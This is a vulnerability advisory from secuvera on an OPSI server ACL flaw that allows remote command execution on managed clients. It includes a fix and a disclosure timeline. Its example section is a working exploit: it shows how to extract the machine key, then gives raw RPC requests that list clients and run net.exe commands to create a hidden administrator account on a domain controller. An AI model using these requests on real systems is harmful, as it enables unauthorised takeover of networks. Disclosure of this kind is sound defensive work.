Affected Products Tested with OPSI Server 4.0.7.26 OPSI ClientAgent 4.0.7.10-1 (older releases have not been tested) According to the vendor all server instances that use a python-opsi version lower than 4.0.7.28-4 are affected References https://www.secuvera.de/advisories/secuvera-SA-2017-01.txt (used for updates) https://sourceforge.net/p/opsi/mailman/message/35609086/ (announcement by vendor in german language) No CVE-Number has been assigned yet. Summary: "opsi is an open source client management system for Windows and Linux clients and is based on Linux servers" (http://uib.de/en/opsi/about-opsi/) The default access control list (ACL) configuration of the OPSI-Server shipped with the product prior to Version 4.0.7.28-4 is unsafe so that environ- ments using this liberal ACL are vulnerable against remote command execution and as a result vulnerable against privilege escalation. Effect: A remote attacker with knowledge of a single machine name and the correspon- ding OPSI machine key is able to execute arbitrary commands on any OPSI- Managed client in the same managed environment by using the Remote Procedure Call (RPC) Interface of the OPSI-Server. The attacker is able to use the SYSTEM privileges of the OPSI Agent on any managed client computer and execute arbitrary commands leading to an elevation of privileges. Example: In this example scenario the attacker has or gained local administrative rights to one client computer managed by the OPSI-Client-Agent (e. g. a de- veloper that is in need of local administrative rights on his machine). The OPSI Server opsiconfd has the options "verify ip" set to "yes" and "update ip" set to "no". In the course of testing we figured out that these settings have no effect at all. With the following steps he is able to gain administrative control over any other PC that is managed by the same OPSI Server instance. 1) Get the own machine name and the corresponding machine key: Open %programfiles(x86)%\opsi.org\opsi-client-agent\opsiclientd\/ opsiclientd.conf and extract the values for the following params: host_id, opsi_host_key, url (of the config service) In this scenario the host_id is pc1.test-network.lan. 2) Issue the following HTTP-Request to get a list of machines managed by OPSI: POST /rpc HTTP/1.1 Host: <OPSI-SERVER-IP>:4447 Content-Length: 136 Accept-Encoding: deflate, gzip Accept: application/json, text/plain content-type: application/json Authorization: Basic <"host_id:opsi_host_key" coded in base64> Connection: close {"params": ["*", "", "", "", "", "", "", "", ""], "id": 2, "method": "getClientIds_list", "Hostname": "*"} The Server responds with a list of managed systems. E. g. HTTP/1.1 200 OK Content-Length: 1227 Set-Cookie: OPSISID=<somerandomvalue>; path=/ Accept-Ranges: bytes Server: Twisted/16.0.0 TwistedWeb/[OPSI.web2, version 0.2.0] Date: <date> Content-Type: gzip-application/json;charset=utf-8 Connection: close {"id": 2, "result": ["pc1.test-network.lan", "pc2.test-network.lan", "domaincontroller.test-network.lan"], "error": null} 3) pick a pc that is not the machine that is originating this request. In this example we will use "domaincontroller.test-network.lan". 4) Issue a request that adds a new user account "JohnConnor" with the Password "R3sitanceIs4live": POST /rpc HTTP/1.1 Host: <OPSI-SERVER-IP>:4447 Content-Length: 136 Accept-Encoding: deflate, gzip Accept: application/json, text/plain content-type: application/json Authorization: Basic <"host_id:opsi_host_key" coded in base64> Connection: close {"params": ["C:\\Windows\\System32\\net.exe user /add JohnConnor R3sitanceIs4live", "domaincontroller.test-network.lan"], "id": 2, "method": "hostControlSafe_execute"} 5) Move the newly created user to the local administrative group: POST /rpc HTTP/1.1 Host: <OPSI-SERVER-IP>:4447 Content-Length: 136 Accept-Encoding: deflate, gzip Accept: application/json, text/plain content-type: application/json Authorization: Basic <"host_id:opsi_host_key" coded in base64> Connection: close {"params": ["C:\\Windows\\System32\\net.exe localgroup Administrators JohnConnor /add", "domaincontroller.test-network.lan"], "id": 2, "method": "hostControlSafe_execute"} 6) Login to domaincontroller.test-network.lan via RDP or if you like: repeat steps 4 and 5 for every managed client to gain access on them. Solution: Update to OPSI Server to Version 4.0.7.28-4 or higher. Make use of the supplied default acl.conf. Disclosure Timeline: 2017/01/09 problem was found during a penetration test 2017/01/09 vendor contacted via email to info@uib.de and support@uib.de 2017/01/10 initial vendor response from support@uib.de submitting responsible contact details 2017/01/10 submitted advisory to responsible contact 2017/01/10 vendor acknowledged problem and sent a fix. Proposed updating access- control-lists shipped with product 2017/01/10 supplied fix was verified solving the problem 2017/01/12 vendor supplied a more strict version of the fix and details about how and when they inform their users 2017/01/13 vendor supplied a fix for "verify ip" issue 2017/01/17 vendor publicly announced the fix for ACL and verify ip setting 2017/01/30 advisory disclosure Credits Simon Bieber, secuvera GmbH sbieber@secuvera.de https://www.secuvera.de Thanks to: Tobias Glemser & Sven Supper, secuvera GmbH and Niko Wenselowski, uib GmbH for their support. Disclaimer: All information is provided without warranty. The intent is to provide informa- tion to secure infrastructure and/or systems, not to be able to attack or damage. Therefore secuvera shall not be liable for any direct or indirect damages that might be caused by using this information.